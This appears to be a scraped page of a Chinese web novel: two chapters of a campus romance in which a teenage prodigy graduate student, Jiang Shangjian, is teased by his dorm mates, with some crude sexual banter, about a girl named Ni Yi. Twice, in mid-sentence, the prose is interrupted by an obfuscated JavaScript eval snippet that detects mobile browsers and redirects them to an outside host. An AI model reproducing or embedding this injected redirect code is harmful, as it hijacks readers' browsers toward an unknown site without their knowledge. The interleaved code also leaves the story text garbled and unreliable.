蒋商鉴显然听不清楚,笑着同她喊:“回来吧,天晚了!” 倪旖歪了歪脑袋。 隔空传话好一会儿,倪旖明白后便过去,一手压着被海风吹动的校裙摆,另一手攥着贝类,跟在他屁股后,回到家,妈妈和校方那堆老师还聊天呢。 “喝杯茶再走吧。”倪旖很有眼力见察觉离别将至,俯身往玻璃杯里倒开水,茶叶翻滚起伏,茶水浮出淡淡绿。 倪旖依次倒满了三杯水,一排地摆在流理台上。 饮水机在一旁,形同虚设。 倪旖挽留意味十足,说:“水有点烫,你先坐一会儿。” “不用。”蒋商鉴连门都没进去,站在门玄关处等着老师。 倪旖咬着唇往楼上跑,拎着一包零食就下楼。 “下次再来,小蒋吃海鲜就过来,市场上骗子多还贵。”许珊招手送客。 倪旖蹿过去小跑跟去,攥着他衣袖,微带喘息,将零食塞他手里,抬眸道:“师哥,这个送给你,再联系。” 蒋商鉴刚准备张口说话,人就跑得没影,垂眸时望着那一大包零食,眼皮有些笑意。 “小蒋,那天才真不错。”刘自新喝得醉醺醺,晃晃悠悠顺着马路走。 蒋商鉴敷衍两声,将人送上他老婆的轿车后就推着自行车离开。 倪旖手遮额头,久久地注视着他们慢慢消失的身影。 汽车扬起灰尘离去之后,蒋商鉴依然钉在原地,似是跟别人发消息般盯着手机屏幕。 小小友情破裂还存在,欠道歉。 倪旖拉不下面子。 蒋商鉴觉得自己没错。 友情决裂很快被快节奏的学生生活所冲淡,消失在一套又一套模拟题中。 跟他聊天,上一条还是不痛不痒官方消息,学生进入高校本硕或本硕博连读班后,由所在学院对学生进行年度考核,实行学生淘汰制。 倪旖时不时翻看他私号朋友圈,没被拉黑,估计是忘记她。 貌似蒋商鉴喜欢可乐。 蒋商鉴真是个可乐男孩,不可一日无可乐,他工位公共冰箱他那块像是台可乐售卖机,可现在塞满倪旖送的冰糕零食,他的可乐被挤到冰箱门架上。 倪旖莫名开心,她不是懵懂女孩,聪明呢,隐约感觉到那种心悸的慌乱。 独属于跟他在一起时间。 倪旖还行,回归高三体验生活,年后办理预科班手续,在肆无忌惮补睡觉中慢慢忘记那淡淡玉兰花香混着海潮的清新味道。 那天和倪旖分开后,蒋商鉴就单手拎着购物袋翻出手机,想着赶紧回宿舍,此刻他快速确认来电和信息,走到角落玻璃门前,继续往里走,走到拐角一家便利店。 一到毕业季,这学校三五成群穿着白大褂到处奔波去鱼类实验区逮鱼的,有在蔬菜瓜果水稻试验田边夜夜睡草棚熬到半夜或者通宵防贼偷螃蟹掐蓝莓的,还有嘿嘿嘿笑着给一只只小鼠做基因阻断手术致力于当敬职敬业的敬事房大总管的……有农科海洋类专业的高校一般到毕业季或者成熟期就很热闹。 大马路上时不时就有考试周本科生上演制服诱惑,白大褂来不及换就奔波到上课生物实验解剖室里,疯狂复习各种疑难杂症知识点。 “叮咚”一声,便利店自动感应门打开,蒋商鉴边发消息走进来,跟收银员点了份关东煮,还要了一盒牛奶。 貌似有摄像头采访取景。 可能是网红录视频。 蒋商鉴将关东煮拎着就准备出去,还没到门口就被拦,最烦这种莫名其妙在路中间挡路的,抬眸望着,模样冷淡慵懒。 很随意打扮可妆容精致的女孩举着话筒采访:“同学,打扰一下,请问您现在有空吗?我们是英文口语组。” “我有课题。” 很985的回答。 “那最后一个问题,体验如何?哪里有好玩的地方?” 美女采访者稍显遗憾。 蒋商鉴随意道:“我劝你别来,湖里都快没地方了。” 梅雨季,湖一下雨就有淤泥,不少人大暴雨滑进去,一身烂泥。 “啊?”采访者倒是意外。 “此著名南路27号海底捞大学里修的湖总是有人掉进去过,虽然我是全校第五个掉进湖里的,但我绝对是第一个两次掉进湖里的……” 蒋商鉴怨气冲天,语调跟鬼似的。 说完话,蒋商鉴漫不经心离开,摸手机一愣,随后太阳穴都快喷涌脑浆,几乎绝望,点开来电通话申请。 “网络学堂上的作业截止时间永远是23:59,而不是23:59:59,没提交上的,找授课老师补交也没法,助教不管这些的。” 对面都快哭了:“我是狗,助教,让我交上去。” “狗虽然智力不高,但也不至于那么低。”蒋商鉴气得要命。 提醒好多遍,还是有小可爱拖延。 小可爱等于小傻逼。 代课助教就很无语。 “商商师兄,求求你嘛~”对面又传出撒娇声音。 男孩子的,那男孩对象,也是家教过的学生,一对一,可没少折磨死他。 蒋商鉴实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222311|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受不了如此要命的男的跟他撒娇,他每天遇着那死鬼般家教学生都倾吐他对那不容于社会和法律的想法,皱着眉:“还没说你呢,教了五遍小测在线考试还错了!还向家长抱怨我没教!我真特么想要扇你俩巴掌!” 这种不太自觉的学生给其展示一下“目眦尽裂,头发上指”,保证下次就记住,其实也并非每次都如此奏效,哭着求饶恨不得磕两个头,一成功求情就将教训抛之脑后,跟女朋友出去泡吧蹦迪,也不知道这是这个月第几次,都不记得,比一般女孩子因为大姨妈去医院开止痛药不得已开请假条来得都频繁。 他去的酒吧也就是kasa,他是老板。 他跟倪旖认识? “最后一科,我得求求孔子保佑,你需不需要祭祀台放个橘子?” 撒娇男学生问,其实,拜师兄就成。 他是考神,但还没有见过求他保佑的,并不是因为他还活着犯忌讳,而是蒋商鉴脾气差,你求他保佑的话,他可能还嫌你不上进。 他不屑于成神,他只是他。 “也来救救我吧。”蒋商鉴叹道。 “你是遇到什么难处了吗?”撒娇男学生好奇,这六边形战士还有难处? “穷——”蒋商鉴幽幽道。 “这个救不了,去找财神吧。”撒娇男学生到底会迂回战术,“我帮你找个业务相当的神仙替你拜拜。” 蒋商鉴鬼使神差:“丘比特吧,替我谢谢那亮黄色尾巴会放电的宠物。” “你是想说丘比特之箭?爱神那个?你遇着妹子,哪个啊?哪个专业……” “没啥事。”蒋商鉴立马打断。 “你有喜欢的女孩,说嘛说嘛……”撒娇学生叽叽歪歪特兴奋,跟瓜田里的猹似的,怎么就没个闰土给它刺死死的插地里不得动弹呢? 远处黛色岛屿轮廓像大鱼露出的脊背,海鸥低翔,飘忽不定。海浪一波接一波,前仆后继撞击着海岸礁石。 蒋商鉴恨不得掐死对方,可对面倒是亲学生,主要笨笨的,没法计较,叹口气道:“我到宿舍后在系统给你作业打回去重新交,下次别忘记截止时间。” “谢谢师兄~”对面撒娇男孩得瑟完毕,“不过那人是谁啊?我人缘棒,你要告诉我还能打听打听兴趣爱好助你一臂之力——” “滚犊子——”蒋商鉴就知道他没安好心,坑他两年,上大学还遇着,导致他就带过一次家教活儿就留下无法抹去的心理阴影,再也没干这逼活儿。 蒋商鉴想着,他遇着一个很不同的女孩,他会莫名其妙一直想到她,就只是想到她,挥之不去那种,概括起来就是这么普通的一件事,倘若分享出来,不过三言两语就说完了,并不是刻意隐瞒,而是真就只这么多,再多就是想象。 蒋商鉴都怀疑他脑袋有病,就那种被爱妄想症,患者会陷入另一个人,通常有较高的社会地位,和她谈恋爱的妄想之中。 完全符合情况,确诊,可以拉到精神病院接受专业治疗了。蒋商鉴自嘲。 蒋商鉴那天刚回宿舍,将背包一放,宿舍里搓麻将的局准是又组织起来,上翻手机屏幕,室友给他发消息。 妃子:一缺三来不来? 蒋商鉴笑着提脚去隔壁宿舍,透过门缝,里面都组起来。 习惯性敲三下门。 频率均匀。 还没迈进门,蒋商鉴也还没说话,最先动作的竟是开门那货。 外号妃子的好兄弟,他很壮,像只站起来的黑熊。 砰一声重响,妃子回身不留情面关了门,敲门时他屁股才刚沾上板凳,从猫眼里看去,那让好多女人喜欢的俊脸凹凸扭曲,像大眼睛癞蛤蟆,真想拍下来发校园墙。 蒋商鉴站在门外,要怪不怪,摸摸险些被砸扁的鼻尖,甚是无奈。 “偷溜把妹的蒋商鉴,替你拒之门外了哈~”只听里面振振有词讲道。 隔几秒门再次打开,蒋商鉴没反应过来就被一把薅进去。 “咱好基友蒋商鉴,回家推牌九啊,请进请进~” 蒋商鉴就满脸纵容着胡闹模样笑着。 前面有个倒了的折叠小板凳,妃子习惯性敏捷迅速跨了过去,转眼间便侧回身来,预防钻手机里的蒋商鉴摔倒似地,在蒋商鉴缓步往前走时同时往他腰胯旁的半空虚揽了一把。 蒋商鉴被楼得难受,抖抖肩膀给人弄走。 “你肚脐眼住第几层?”妃子拍拍手没好气道,他居然偷练腹肌。 手机在口袋里不停震来震去,蒋商鉴无可奈何地拿出来看了一眼,睁着眼说瞎话打字,特敷衍回复妃子:“没看见,手机静音了。” “为什么不回我?”妃子跟手机争宠似的。 得,又绕回来了。 “手机静音。”蒋商鉴继续敷衍,敲字回复家教小孩。 妃子瞅着那屏幕,貌似是生物,绞尽脑汁思索,原来是细胞生物学啊,便指着一个单位Da(道尔顿)炫耀似的问:“商商你知道这个单位吗?” 蒋商鉴扭头哄着:“嗒~” 妃子就想过过嘴瘾,装老师严肃道:“什么?谁教你们的。” “傻子。”蒋商鉴潦草敷衍。 妃子用力捂着心脏,连表情都使劲,假惺惺演戏:“我居然没法让你设置特别关注,在你心里我就是普通朋友。” 重点是这个吗?是吗?妃子你扪心自问,你是口香糖成精吗?蒋商鉴想着,真想揍死这粘人货色。 “唉,妃子。”蒋商鉴摸摸锁骨,不痛不痒有点难受。 妃子回归牌桌,在装傻充愣期间偷摸瞅别人牌,一副了然于胸模样上桌,猛地出三条,笑得欠揍,吆喝着:“一人欠我一顿饭,胡了。” 眼镜按照习惯要放在桌子上,可惜被倪旖拐走,忘记要,蒋商鉴揉着眼睛走过去,手指尖刚碰到微凉的陶瓷杯。 妃子一怔,他吸了鼻子里溜进来的香气,答非所问地说道:“你身上怎么这么香?” 刚才他俯身喝水时没觉得,这一动作,像是带得身上的香味也跟着窜动。 蒋商鉴抬起胳膊闻了闻,没闻出来,疑惑地看了看四周,指着那两盆夜来香道:“估计是花开了吧。” “你见过哪家花开奶油蛋糕?”妃子仔细嗅嗅,这甜腻腻味道在男生宿舍尤其明显,起身绕着他转一圈。 10. 牌九 隔壁男生宿舍气味很怪异,窗台搁着几个生锈铁盒瓶瓶罐罐,一堆发黑硬币,几块形状奇怪的脏鹅卵石,七零八落旧书籍,甚至还有不知哪世纪遗漏的酸爽臭袜子。 蒋商鉴这才注意到这群人跟扮演原始人似的光着,嫌弃道:“哎,穿穿衣裳,别裸着,辣眼睛。” “没交钱开空调啦!”海星憨笑。 “那缴费啊。”蒋商鉴难以理解。 “这不手头紧。”妃子挺抠搜。 “每次都我来,”蒋商鉴说罢点开校园缴费软件充两百,没几秒口空调就嗡嗡运行冒凉风,叹口气淡淡道,“不跟你们一般见识,就当预防眼疾费。” “觉悟还挺高,没空调咱裸着你眼睛也受不了,热不热无所谓,我主要担心你眼疾复发。”海星嗑瓜子唠嗑。 “谢谢啊。”蒋商鉴哭笑不得,瞅着他那里觉得脑子里有一根筋在不停地跳动,好像要爆炸一样,“真小啊。” 海星瞬间变脸,蹦上前去掐他脖,那火气还是“蹭”一下就窜上来,脑子里有恶魔摇旗呐喊:“你可以质疑我学术能力,但不能说我小。” 只听酸哥淡定继续煽风点火,拿胳膊肘碰碰他,小嘴跟淬了毒似的:“我说星星啊,你那根跟老蔫腌黄瓜货似的小东西咱就别跟学术能力挂钩。” 酸哥失恋,准确来说,被甩,用导师组会指摘的话说是“蔫了吧唧,跟女鬼吸取完精神似的”,用蒋商鉴嫌弃的话说,那就是“三脚踹不出一个屁来,那嘴长着还不如不长呢”。 蒋商鉴乐得要死。 海星撸胳膊挽袖子,想锤人,摇摇晃晃猛地站起来,说这种偷偷摸摸的私密事有点掉价儿,脸上发烧。 “来,单挑。”海星直接来段沙雕挑衅舞蹈,还胳膊肘戳戳他胸膛。 “野鸡不你,眼睛瞪着跟驴蛋儿似的,什么年代,还搞近身肉搏。”蒋商鉴懒得搭理这蠢事儿,斜望一眼,嗤笑轻蔑道。 海星抖着肩膀解释颤颤巍巍:“你们真是,我这,正常,商商那是超常,懂个屁,再说,小是小,活好就行,除了酸哥,都是处的东西,滚蛋。” “不好意思,别连带我。”妃子偷偷瞥一眼蒋商鉴,特炫耀得瑟,“我大学前暑假就跟初恋尝了禁果,咱这,就商商还是个尿液能辟邪的大龄童男。” 许久不搭腔的推牌九四号人物点头默认这处男排除剩余言论。 海星拍拍妃子肩膀:“人商商年轻呢,才成年,慌什么?” 蒋商鉴看着推牌九四号低头撩开裤兜时面色深沉,妃子见他这副模样以为他在思考什么严肃事情,刚欲发问,就听到那傻叉来了句:“太短了吧。” 牌九四号一脸问号:“啊?” 蒋商鉴:“没事,继续玩牌。” 妃子笑得要死,丧失语言功能。 牌九四号气得胸闷,缓了一会儿,表情扭曲道:“你一个姑娘家家的,盯着人家那儿看——” 小姑娘家家,蒋商鉴最烦别人这样说。 “是啊。”蒋商鉴压低了声音,淡淡定定,“一个姑娘掏出来比你还大一圈,好意思吗?” 妃子咳嗽两声,不得不说,用他这张小姑娘般漂亮脸蛋说出这样的话,着实让众人受到了不小的震撼。 一个个哑口无言。 突然,牌九四号站起来,走蒋商鉴前面去,丢枚硬币在地上,冷冷说:“能谤讥于市朝闻寡人之耳者,受下赏。” 这些属隔壁寝室,一屋四个床铺,有几个科研泡实验室不敢推牌九,蒋商鉴那宿舍有妃子,原先那师兄搬出去,空的铺子就养猫。他们过完暑假就得搬家,搬到新校区,据说俩人或者一人一宿舍,环境贼好。 隔壁寝室有四个,海星,酸哥,四号牌九,还有个躺平撂着理想打游戏的哥们,现在隔着床帘疯狂敲键盘呢,据说是很牛逼的游戏代练。 妃子替自家兄弟说话,打铁趁热:“还有啊,牌九兄,不要再问我阳痿怎么治了,我又不是医生。” 余晖下,蒋商鉴眯着眼睛,整个人懒懒的,头发被风吹得极乱。 牌九兄气得够呛,压抑揍人冲动,深呼吸几秒:“不好意思,我以为你久病成医。” 妃子自说自话:“你好,下次邀请哥治病,记得先付医药费。这人治好了就跑,哥亏得只剩裤衩了。” 牌九兄咬牙切齿。 “去,去,猥琐啊你们。”蒋商鉴微微蹙眉逃离这个私密话题。 忽然,妃子抬眸略显深沉,摸摸耳垂幽幽道:“商商,你缴费是隔壁寝,咱宿舍还是蒸炉,傻了吧唧玩意儿。” “还不是你们要打牌。”蒋商鉴哪不懂这情况,就是隔壁寝肮脏适合玩,娱乐设施都在这边。 “那还不是你爱干净,不乐意咱到你铺子底下推牌九。”海信窜起来怼在空调出风口凉快,简直享受。 蒋商鉴轻声敷衍道:“有道是庙小妖风大,坑浅□□多。” “你丫闭嘴。”妃子偷偷瞥一眼,咳嗽两声掩盖话题,义正言辞道,“傻孩子啊,不许这么说自己。” “不是,你身上到底啥味儿,甜腻腻,像女人味道,准确来说,那女人还挺可爱的,味道都甜腻腻的。”酸哥摸摸胡茬,一副郁闷模样,就挺酸,毕竟跟女友闹掰见不得别人好,得插一脚满足破坏欲。 蒋商鉴那味道就贼明显。 蒋商鉴倒是神色如常,不甚走心地点了点头,随意扯开椅子就坐下。 妃子古怪看着他,拧眉毛问:“你有女朋友啦?” 蒋商鉴低头翻找数据,不置可否。 妃子来了劲儿,抬手猛按下吊灯开关,他极力以一种调侃语气笑道:“怎么?哪个专业的?” 妃子是他好哥们之一,还自诩为最好兄弟,也就是这兄弟总顶着一副“你最好收回你那龌蹉的想法,别想着多看一看俊脸,我绝对会保护好我最亲爱的室友,我绝对不会让他掉入你妖精的魔爪之中的,绝对不会”的表情。 导致蒋商鉴连早恋机会都没。 他虽然十八岁刚出头,但是十二岁被大学破格录取,走本博路线。 燥热夕阳斜进宿舍,画道明暗线,蒋商鉴就坐在光与暗分界线上,整个人默然无声,额前绒发金灿灿的,半眯着眼睛,睫毛卷翘,慵懒随意模样,徒劳地抵挡光线。 对面是宿舍守则。 宿舍守则: 1.严格遵守卫生制度。禁止在宿舍囤袜子、禁止不扔外卖包装、禁止女装。 2.严格遵守时间制度。按时上课,不迟到、不早退、按时写论文。 3.尊敬师长,但有意见可以提;友爱同学,但禁止早恋。 4.保持安静,禁止发出猴子般的叫声。 禁忌:偷偷摸摸当卷王,违者死。 蒋商鉴笑笑。 每个条约都对应一个人。 禁止早恋——蒋商鉴。 跟规则怪谈似的。 “你说句话能死吗?”妃子被勾起好奇,都懒得推牌,就磨蹭着好室友。 “想听什么?听我喜欢男的?还是听我喜欢你?”蒋商鉴小白眼那一翻。 “你知道什么地方那个最冷嘛?”妃子快速眨眨眼。 “我不敢知道。”蒋商鉴闪躲着,这丫绝对要说土味情话。他都很熟练。 “……”妃子夸张跳起来,摸摸胡茬,娘们唧唧夹着嗓子表演反串,“现在不喜欢了,滚出去。” 蒋商鉴胳膊一抬给人甩开,攥着雅思词汇的手正准备端着茶杯喝点水。 “哎,酱崽儿,如果有一天你突然变成了女人,你想先干什么?”妃子故意挖坑骗人玩。 “不会变成女人的。”蒋商鉴无语,缓慢抿一口温水。 “假如假如~”妃子非得让他说。 蒋商鉴无奈:“一个性转的我,你会喜欢她嘛?两个人一起瘫在家里玩手机,然后遇到问题一起感慨好想死吗?” 妃子委以重任般拍拍他肩膀:“不会喜欢,但先让兄弟们爽一爽,成不?” “滚球——”蒋商鉴恨不得抽他,幽幽道,“不是死gay佬,一想到每次洗澡你都钻我隔帘里,笑嘻嘻、亲亲热热地主动替我搓背,我把你当兄弟你却想睡我?” “主要太有诱惑力,香得很。”妃子吸溜空气。 “滚蛋,我喜欢那种聪明的,有点啊小狡猾,左脸下面有小梨涡,笑起来有鲨鱼齿,个子一米六多一丁点,手指细细的很好看,穿着白裙子很单纯,唱小情歌甜甜的,爱吃榴莲和烧烤,喜欢养着黑猫和黑色德式杜宾的,爱玩按键机老版贪吃蛇,还会玩管道工马里奥时给我留月亮摘的,逮实验小白鼠挑大的给我摸着玩……” 蒋商鉴稀里糊涂就蹦出一堆具体描述词汇。 妃子吃关东煮差点呛死,这玩意儿太具体了,肯定有这个人。 “……”蒋商鉴见兄弟们意味深长,立马话锋一转,“这样子的,绝对不行,个子矮还黏人,傻白甜带着狡猾就难受……” 蒋商鉴光是回想倪旖回眸朝他笑,就不自觉唇角微提,她像是幻想已久的女孩,突然出现,原本就是一个提线木偶,每个动作和每一句话都来自于既定设想,缺少一种生命感,现在灵动得不像话。 妃子静静观察蒋商鉴,他之前就已经对未来生物失去信心,在小老板的反复批驳中,这种绝望更多表露出来,久而久之根深蒂固,以至于磨损使他重新振作起来的一线希望。 现在啊,蒋商鉴不同,在发现被观察揣测,抬头平静看着,底下是汹涌澎湃,本来那随时随地不变的、带着困意的双眼突然炯炯有神,那好像总是带着凉薄笑意的眼神中藏着一股极其微弱的生机,温和而坚定,令妃子生出一股慰籍。 他弟弟有出息了,会喜欢女孩了。 “我想说自然会说,看我干嘛?”蒋商鉴迫不得已使用无赖术。 妃子比他大八岁,从刚入校就照顾他,情感经历丰富多彩,打哈哈,给这些哥哥们使眼色保护弟弟的小秘密,带点欣慰,笑着嘲弄。 “你看看你,刚才你主动提这事儿,现在又说自没这人,咱就是随便唠嗑,你急着推卸这些干吗?一看就是个嫩主。” 蒋商鉴费了老大劲才打消兄弟们意味深长的眼神,也许不是打消,哥哥们懒得搭理他而已,就爱开个玩笑,开过了对谁都没意思。 “我喜欢那个,粗粗的,大大的。”海星指着那关东煮一个签子。 “……”妃子一愣,嘿嘿一笑,很是邪恶。 蒋商鉴看他那智慧眼神:“你这表情让我想到智障。” 妃子俯身抢过关东煮,一垂眸微微愣神,忽然指着说:“呀,你脖子上有一块红印,是不是被蚊子咬的?” 蒋商鉴没懂,抱怨两句:“还不是给你买关东煮穿过小树林,穿梭半个小时就被咬得惨不忍睹。”还露出小腿让室友们看。 妃子瞅了一眼:“还挺光滑~” “像你啊?那腿毛太多都看不见蚊子包。”蒋商鉴很会怼。 妃子说罢脾气就上来:“卧槽,你还嫌我毛多,要不是有这点毛撑着,咱哥们群体就被你嚯嚯干净,都脱了~” “不是挺凉快?”蒋商鉴笑道。 妃子是个大老爷们儿,大块喝酒大口吃肉,吃那关东煮囫囵吞枣。 就这野熊体格说比不上大和尚鲁智深一弯腰能拔棵柳,喝那灌水跟鲸吸牛饮似的,武松那样喝酒能把十个老虎打死。 “哎,你不照镜?”妃子嘟囔着。 “屁蚊子印,他马子嘬的,刚刚描述的那女孩干的好事儿。”海星放声调侃,跟长空调上似的灌着凉气,浑不在意,吹了一声俏皮的口哨。 “……” 沉默两秒。 挺可怕的。 妃子大声鬼叫喊:“我呢?我呢?这么大一个我呢?都忘啦?” 那些话确实不太涉及,但是言外之恶意不需要用脑子都能理解,鼻子闻也闻得出,蒋商鉴直接用力踹身边的人一脚,没忍住笑骂道:“去你的。” 海星原名李海信,嘴欠抽,但没心眼,就算有恶意也不是故意的。 “操!就你脑子里全是学习,谁精虫上脑心里没点数,还有,日你妈的!我他妈最恨这种娘不拉唧味儿。” 酸哥分手,看谁都不爽。 他人不坏,平时沉默寡言,爱叼着根狗尾巴草,拿着各种小刷擦玻璃窗。 本来挺勤快的,就是被分手,很郁闷,人都懒多了。 “这就是为什么我朋友要死要活分手的原因。”蒋商鉴把下巴靠在凑过来安慰的妃子肩膀上,小声道,“神经细的跟头发丝一样,一个没看紧就要闯大祸。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222312|165825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对啊,一句话得罪人还不叫闯大祸? 谁都知道气氛不对劲,连傻憨憨铁秤砣都来拉架,装作不经意碰一下床爬梯,甚是惊讶,就像每天晚上没见过似的。 “上床下桌简直太天才了,要不是因为要爬那个梯子,我吃完晚饭早就直接睡觉了,那个梯子给我创造了无数的娱乐和工作时间。” “对啊,对啊。”牌九四号呵呵着。 一个话题叉不开,妃子连忙打哈哈缓解氛围,得意炫耀道:“我当年是专业课第一。” 海星装作意外:“诶我也是哎。” 四号牌九默默装逼,摸摸眼镜,憨厚笑道:“嗨,这话说的,在座的谁不是第一啊?” 蒋商鉴幽幽然:“跟一帮还需要考试的人坐在一起哎呀真的是~” 蒋商鉴是保送。 各种金额全都免去。 “没点挣扎犹豫算什么考验啊,小心上头给你上强度。”酸哥嘴臭。 “……” 妃子想掐死这死男人,转移话题笑道:“商商就是太乖巧听话了,他但凡找个特别带劲的女人,分分合合结结离离,灵感论文量还不嗨出天际。” “……”蒋商鉴抿抿唇,“分分合合寄,这才是生活。” 海星平时搅浑水,关键时候可拎得请,故意瞎胡扯:“妈的,商商面对暗恋他的姑娘时大义凛然誓死不从,我还真以为他不爱女人呢。” “……”蒋商鉴想死的心都有,“哪有?” 妃子跟着附和:“他性冷淡,淡淡的死感,之前周身散发着一种被生活折磨得不成人形的疲劳,你就感觉,上床对商商来说是一件过分繁重、难以招架的体力劳动。” “?”蒋商鉴心道,也不至于~ 海星跳起来表示赞同:“每天熬夜跑数据后就像太监嘎了蛋,那神态跟虾线被抽了一样,腰都直不起来了。” “。”蒋商鉴就无力反驳,默默挺直腰背。 抬眸瞅见海星朝他不遮掩咳嗽,蒋商鉴微微皱眉,随手从桌面抽出一纸巾给他,收敛起自由散漫状态,如临大敌似的警惕,把那离开桌子一米远的椅子也往前挪到正常位置,给他腾出地方。 防着传染病毒。 白天研究生,晚上研究死。 免疫力波动异常,都成平常。 “我去见那小天才,她狗牵不住,牙齿磕我身上。”蒋商鉴淡淡道,随后将雅思词汇翻页,目光灼然。 他真的还挺喜欢这个小女孩,思维散漫,天真可爱,就是这玩意儿花花肠子和鬼脑筋比孟德尔的豌豆都复杂。 “……”妃子微愣,“那杜宾她养着?不得被遛?” “还行,挺乖。”蒋商鉴貌似敷衍道,只是光想到倪旖,笑得感情充沛,就像是年久失修生锈的老式不锈钢水龙头,那轻易就能溢出来扑人一脸。 海星嘲笑:“就你,我草,你那拍照技术没点逼数,还拍这么多张照片…………360度无死角的照片显示你360度全是死角的情商。” “嗯?”蒋商鉴还没懂。 “把人姑娘拍得难看死。”海星嫌弃道,不在乎狗子多凶猛。 “那狗看着就凶猛。”妃子大快朵颐吃着那关东煮,面部表情活像被掐住脖子的野鸡,仰着脖子豪迈吸溜汤汁,还没意识到情况不对劲。 蒋商鉴踹他一脚,幽幽道:“我说的是那小天才,可爱。” 妃子往后躲躲,那麻将桌上吃瓜三人就看着耍猴,时不时磕瓜子。 “现在小孩都牛逼,前段时间我看猎奇营销号,好多人膜拜小孩姐。” “是嘛?”蒋商鉴嘴角压都压不下去。 海星靠在扶手梯上抱胳膊,搭话:“小孩哥跟小孩姐挺合得来吧?” 蒋商鉴见没人搭话,迷惑抬眸,食指朝着自己,微微张开嘴巴。 “这宿舍谁比你小?”海星白眼。 妃子手欠就扯开塑料包装纸,瞅着那抛物线汤汁果断后悔,眼药水就应该设计成卤的那种鹌鹑蛋的小包装,每次一撕,必进眼睛里,太准了。 蒋商鉴嫌弃得都快跳起来逃离,肉眼可见那种如履薄冰。 “那小孩姐是不是碾压你?被气得半死。”妃子冲他挤眉弄眼。 蒋商鉴淡淡道:“躺也躺不了、卷也卷不动,死不了也活不好,就……她就像是一个数学公式,总是存在那里,但不能反驳,总是正确的。” 妃子笑得直抽抽,带着浓烈口音喷出来:“好家伙,虽然不懂咋了,但你这表情,像是被虐得想找警察叔叔。” “现代偶像剧这是啊,必定是有钱公主爱上灰娃,且这个哥们必须是帅气善良聪明的,长得漂亮的和有钱的才配恋爱,我等小辈排不上队~” 酸哥又酸起来。 妃子偷偷瞥一眼面无表情蒋商鉴,路见不平拔刀相助,幽幽道:“你丫闭嘴啊,那小孩真是小孩,坐牢那种。” “……”酸哥默然,“几岁?” “……那倒不至于,”妃子夸张跳起来,“人比商商小几个月,反正你就放好心脏,商商未来对象是我,懂不,他这种男的其实不算什么,当小宝贝疼就是了。” “……”蒋商鉴真后悔没去图书馆躲避这群骚青年,“您能说英文嘛?跟哥你说话我都有母语羞耻症。” “你啥感受?”海星就笑得欠抽。 蒋商鉴淡淡回复:“……不过就是被当成gay洗也洗不清直接丧失校园择偶权罢了。” 宿舍又冷了几秒。 猛然—— 校园理发店推销导购推门,挨个发传单,一边嘀嘀咕咕:“学长好,方便的话就烫个头吧!我们店新出了个5800的套餐,你烫了绝对好看。” 妃子当时就不乐意了,这不是骗钱嘛,蹭一下就站起来,义正言辞得很,貌似不是指桑骂槐,库库输出。 “商商你别听他的,我就不信邪,像你这种丑逼烫什么都不好看。” 丑逼? “……” 冰点一瞬间袭来。 蒋商鉴就想锤那死人,抬眸望向这满嘴跑火车的兄弟,淡淡补道:“妃子啊……你这病治好了也躺哈喇子,氧气管千万别死命坚持咬啊。” 推销的职业素养极其高,遇着蒋商鉴偏头颇为阴森森道:“学长,你寂寞嘛?” 11. 弟妹 素来知道这学长在女生中受欢迎。 虽说刚成年,但绝对公认风云人物,还不少人以他为男主角在社媒上写梦女文。 “……”蒋商鉴一头雾水。 海星抢着问:“有认识的妹子?” “流氓!”推销的跺脚,“我的意思送张咖啡馆储值卡,时不时去坐坐,缓解寂寞。” “屁,你就想商商去当人形展牌。”海星摆摆手满脸鄙夷。 推销的被戳破便铩羽而归。 人走后,妃子偷偷瞥一眼:“商商啊,你跟小孩姐聊啥了?” 蒋商鉴慢悠悠地说:“我问她,我那塑料兄弟中谁长得比较欠抽。” “得,那她咋样?你觉得。”妃子好奇问。 “屌丝公主。”蒋商鉴幽幽道。 “屌丝?”妃子夸张跳起来,“不是,人家?我难以理解。” “真一屌丝,如没智商加持,那不修边幅样,哎——”蒋商鉴开玩笑,知道有些玩笑就算倪旖当面听,她也玩得起,带着炫耀般过分谦虚道,“不仅如此,倪旖蛮不讲理,贪吃,有小性子,说话不算数,哭起来特难看。” 但是又怎样?蒋商鉴将问题和答案偷偷放在心里,只有自己知道。 海星就看他一个劲装,没恋爱过的人有个通病,就是不太像长大的人。 这倒没啥问题,就是第一次喜欢姑娘,路边不经意飞过的蚊子都晓得,还以为哥们看不透。 “不吃了,这也太难吃了。”妃子吃完后感叹道,还津津有味打饱嗝。 “你又不是第一天吃。”蒋商鉴盯着屏幕,那小孩姐发转账消息。 不知怎么,倪旖那消息提示的红点像黄桃果冻里最红最亮的那颗樱桃,一定要带着虔诚而喜悦的心去品尝。 蒋商鉴食指在结束键按了很久才后知后觉。 妃子打个饱嗝,摸小肚腩道:“那就是难吃啊,还不让说了啊?” “你都吃完了。”蒋商鉴有点疑惑她发来的转账消息。 A倪旖:糖葫芦钱。 这消息来自他私人号平台。 妃子嘀咕:“有生之年还能吃到这么寡淡无味的关东煮,也算和我之后的贫困相消了。” 蒋商鉴眼都没抬:“吃多少回了都。” “哪天我们一块儿去吃个火锅呗,要不吃日料也行,我都行,看你。”妃子白嫖来了劲,最后作了一把死,用杯子碰了碰蒋商鉴胳膊。 蒋商鉴这次没心思揍他,胡乱敷衍:“反正都是你说你想吃的。” 妃子一脸无趣走开,继续搓麻将。 